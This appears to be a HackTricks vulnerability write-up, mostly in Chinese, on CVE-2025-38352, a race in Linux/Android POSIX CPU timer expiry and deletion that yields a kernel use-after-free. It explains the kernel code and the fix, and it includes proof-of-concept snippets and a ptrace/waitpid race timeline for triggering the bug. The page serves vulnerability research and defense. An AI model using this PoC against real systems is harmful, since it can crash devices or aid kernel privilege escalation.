POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查看 订阅计划!

加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.

通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

本页记录了 Linux/Android POSIX CPU timers 中的 TOCTOU race condition，可能会 corrupt timer state 并 crash the kernel，在某些情况下可被引导为 privilege escalation。

Affected component: kernel/time/posix-cpu-timers.c
Primitive: expiry vs deletion race under task exit
Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Quick internals recap (relevant for exploitation)

Three CPU clocks drive accounting for timers via cpu_clock_sample():
CPUCLOCK_PROF: utime + stime
CPUCLOCK_VIRT: utime only
CPUCLOCK_SCHED: task_sched_runtime()
Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}

Arming 插入到每个 base 的 timerqueue，并可能更新 next-expiry cache：

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}

快速路径避免昂贵的处理，除非缓存的过期时间表明可能会触发：

static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

Expiration 收集已过期的 timers，将它们标记为 firing，并将它们移出队列；实际投递被延迟：

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

定时器到期处理的两种模式

CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 到期通过 target task 上的 task_work 延迟处理
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 到期在 IRQ context 中直接处理

Task_work 与 IRQ 到期处理路径

```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```

在 IRQ-context 路径中，触发列表（firing list）在 sighand 之外被处理

IRQ-context 投递循环

```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```

根本原因：在任务退出期间，IRQ 时刻的到期与并发删除之间存在 TOCTOU 问题前置条件

CONFIG_POSIX_CPU_TIMERS_TASK_WORK 被禁用（使用 IRQ 路径）
目标任务正在退出但尚未被完全回收
另一个线程并发地对同一定时器调用 posix_cpu_timer_del()

流程

update_process_times() 在 IRQ 上下文为正在退出的任务触发 run_posix_cpu_timers()。
collect_timerqueue() 将 ctmr->firing 设为 1，并将定时器移到临时 firing 列表。
handle_posix_cpu_timers() 通过 unlock_task_sighand() 释放 sighand，以在锁外交付定时器。
在 unlock 之后立即，正在退出的任务可能被回收；一个兄弟线程执行 posix_cpu_timer_del()。
在此窗口期内，posix_cpu_timer_del() 可能无法通过 cpu_timer_task_rcu()/lock_task_sighand() 获取状态，从而跳过检查 timer->it.cpu.firing 的正常 in-flight 保护。删除会像未处于 firing 状态一样继续，在处理到期时破坏状态，导致崩溃/未定义行为 (UB)。

release_task() 和 timer_delete() 如何释放处于 firing 状态的定时器

即便 handle_posix_cpu_timers() 已将定时器从任务列表中移除，ptraced 的僵尸进程仍可能被回收。waitpid() 的调用栈驱动 release_task() → __exit_signal()，在另一个 CPU 仍持有指向定时器对象的指针时，__exit_signal() 会拆除 sighand 和信号队列：

static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL;             // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}

当 sighand 被分离时，timer_delete() 仍然返回成功，因为 posix_cpu_timer_del() 在锁定失败时将 ret 保持为 0，因此 syscall 继续通过 RCU 释放该对象：

static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out;                   // ret stays 0 -> userland sees success
// ... normal unlink path ...
}

SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer);            // call_rcu(k_itimer_rcu_free)
return 0;
}

Because the slab object is RCU-freed while IRQ context still walks the firing list, reuse of the timer cache becomes a UAF primitive.

使用 ptrace + waitpid 引导回收

将一个非线程组领导的工作线程用 ptrace 附加，是让僵尸进程保持不被自动回收的最简单方法。exit_notify() 首先将 exit_state = EXIT_ZOMBIE，只有在 autoreap 为 true 时才会转为 EXIT_DEAD。对于被 ptrace 的线程，只要不忽略 SIGCHLD，autoreap = do_notify_parent() 就会保持为 false，因此 release_task() 仅在父进程显式调用 waitpid() 时运行：

在被跟踪进程（tracee）内部使用 pthread_create()，这样受害线程就不是线程组领导（wait_task_zombie() 处理被 ptrace 的非领导线程）。
父进程执行 ptrace(PTRACE_ATTACH, tid)，随后通过 waitpid(tid, __WALL) 驱动 do_wait_pid() → wait_task_zombie() → release_task()。
使用 pipes 或共享内存将精确的 TID 传给父进程，以便按需回收正确的工作线程。

这种编排保证了一个窗口期，在此期间 handle_posix_cpu_timers() 仍然可以引用 tsk->sighand，而随后的 waitpid() 会拆除它并允许 timer_delete() 回收相同的 k_itimer 对象。

为什么 TASK_WORK 模式在设计上是安全的

With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y，expiry 被延后到 task_work；exit_task_work 在 exit_notify 之前运行，因此不会发生与回收的 IRQ 时间重叠。
即便如此，如果任务已经在退出，task_work_add() 会失败；以 exit_state 作为门控使两种模式保持一致。

Fix (Android common kernel) and rationale

Add an early return if current task is exiting, gating all processing:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;

这样可以阻止正在退出的任务进入 handle_posix_cpu_timers()，消除了 posix_cpu_timer_del() 可能错过 it.cpu.firing 并与到期处理发生竞争的时间窗口。

Impact

在并发到期/删除期间，定时器结构的内核内存损坏可能导致立即崩溃（DoS），并且由于可以任意操纵内核状态，这是通向 privilege escalation 的一个强大原语。

Triggering the bug (safe, reproducible conditions) Build/config

确保 CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n 并使用未包含 exit_state gating fix 的内核。在 x86/arm64 上该选项通常通过 HAVE_POSIX_CPU_TIMERS_TASK_WORK 被强制开启，因此研究人员常常补丁 kernel/time/Kconfig 以暴露一个手动切换：

config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y

这与 Android 厂商为 analysis 构建所做的处理相同；上游 x86_64 和 arm64 强制设置 HAVE_POSIX_CPU_TIMERS_TASK_WORK=y，因此易受影响的 IRQ 路径主要存在于将该选项编译移除的 32 位 Android 内核上。

Run on a multi-core VM (e.g., QEMU -smp cores=4) so parent, child main, and worker threads can stay pinned to dedicated CPUs.

运行时策略

针对即将退出的线程，并向其附加一个 CPU 计时器（每线程或进程范围的时钟）：
对于每线程: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
对于进程范围: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
设置非常短的初始过期时间和较小的间隔，以最大化 IRQ 路径的触发次数：

static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

从一个 sibling thread 并发地删除相同的 timer，当 target thread 退出时：

void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

竞态放大因素：高调度器时钟频率、CPU 负载、反复线程退出/重建循环。崩溃通常发生在 posix_cpu_timer_del() 在 unlock_task_sighand() 之后因任务查找/锁定失败而未能检测到定时器触发时。

实用 PoC 编排

线程与 IPC 协同

一个可靠的复现程序 fork 出一个进行 ptracing 的父进程和一个创建易受攻击工作线程的子进程。两个管道（c2p, p2c）用于传递工作线程的 TID 并控制各阶段，而 pthread_barrier_t 阻止工作线程在父进程 attach 之前设置其定时器。每个进程或线程都用 sched_setaffinity() 固定到指定 CPU（例如父进程在 CPU1，子进程主线程在 CPU0，工作线程在 CPU2），以最小化调度器噪声并保持竞态可重现。

使用 CLOCK_THREAD_CPUTIME_ID 校准定时器

工作线程设置了一个 per-thread CPU 定时器，使只有其自身的 CPU 消耗会推进截止时间。一个可调的 wait_time（默认约 ≈250 µs 的 CPU 时间）加上一个有界忙等待循环，确保在定时器即将触发时 exit_notify() 将 EXIT_ZOMBIE 标记设置好：

最小 per-thread CPU 定时器示例

```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU time

static void timer_fire(sigval_t unused) { puts(“timer fired”); }

static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);

struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };

pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);

for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }

</details>

#### 竞态时间线
1. 子进程通过 `c2p` 将 worker 的 TID 告知父进程，然后在 barrier 上阻塞。
2. 父进程执行 `PTRACE_ATTACH`，在 `waitpid(__WALL)` 中等待，然后 `PTRACE_CONT` 以让 worker 运行并退出。
3. 当启发式判断（或人工操作输入）表明定时器已被收集到 IRQ 侧的 `firing` 列表时，父进程再次执行 `waitpid(tid, __WALL)` 来触发 release_task() 并释放 `tsk->sighand`。
4. 父进程通过 `p2c` 向子进程发送信号，使子进程主线程可以调用 `timer_delete(timer)`，并立即运行像 `wait_for_rcu()` 这样的辅助函数，直到定时器的 RCU 回调完成。
5. IRQ 上下文最终恢复执行 `handle_posix_cpu_timers()` 并取消引用已释放的 `struct k_itimer`，触发 KASAN 或 WARN_ON()。

#### 可选的内核插桩
对于研究环境，在 handle_posix_cpu_timers() 内当 `tsk->comm == "SLOWME"` 时注入仅用于调试的 `mdelay(500)` 可以扩大竞态窗口，从而让上述操作序列几乎总是赢得竞态。相同的 PoC 还会重命名线程（`prctl(PR_SET_NAME, ...)`），以便内核日志和断点确认预期的 worker 正在被回收。

### 利用期间的插桩提示
- 在 unlock_task_sighand()/posix_cpu_timer_del() 周围添加 tracepoints/WARN_ONCE，以发现 `it.cpu.firing==1` 与 cpu_timer_task_rcu()/lock_task_sighand() 失败同时发生的情况；在受害进程退出时监视 timerqueue 的一致性。
- KASAN 通常会在 posix_timer_queue_signal() 内报告 `slab-use-after-free`，而非 KASAN 内核在竞态成功时会在 send_sigqueue() 中记录 WARN_ON_ONCE()，提供快速的成功指示。

审计热点（供审阅者）
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): 将 ctmr->firing 置位并移动节点
- handle_posix_cpu_timers(): 在触发循环之前释放 sighand
- posix_cpu_timer_del(): 依赖 it.cpu.firing 来检测正在进行的到期；当任务查找/加锁在退出/回收期间失败时，这个检查会被跳过

供漏洞利用研究的注意事项
该公开行为是一个可靠的内核崩溃原语；将其转化为提权通常需要额外的可控重叠（对象生命周期或 write-what-where 的影响），超出本摘要的范围。将任何 PoC 视为可能导致不稳定，仅在模拟器/虚拟机中运行。

## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)

> [!TIP]
> 学习和实践 AWS 黑客技术：<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术：<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术：<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>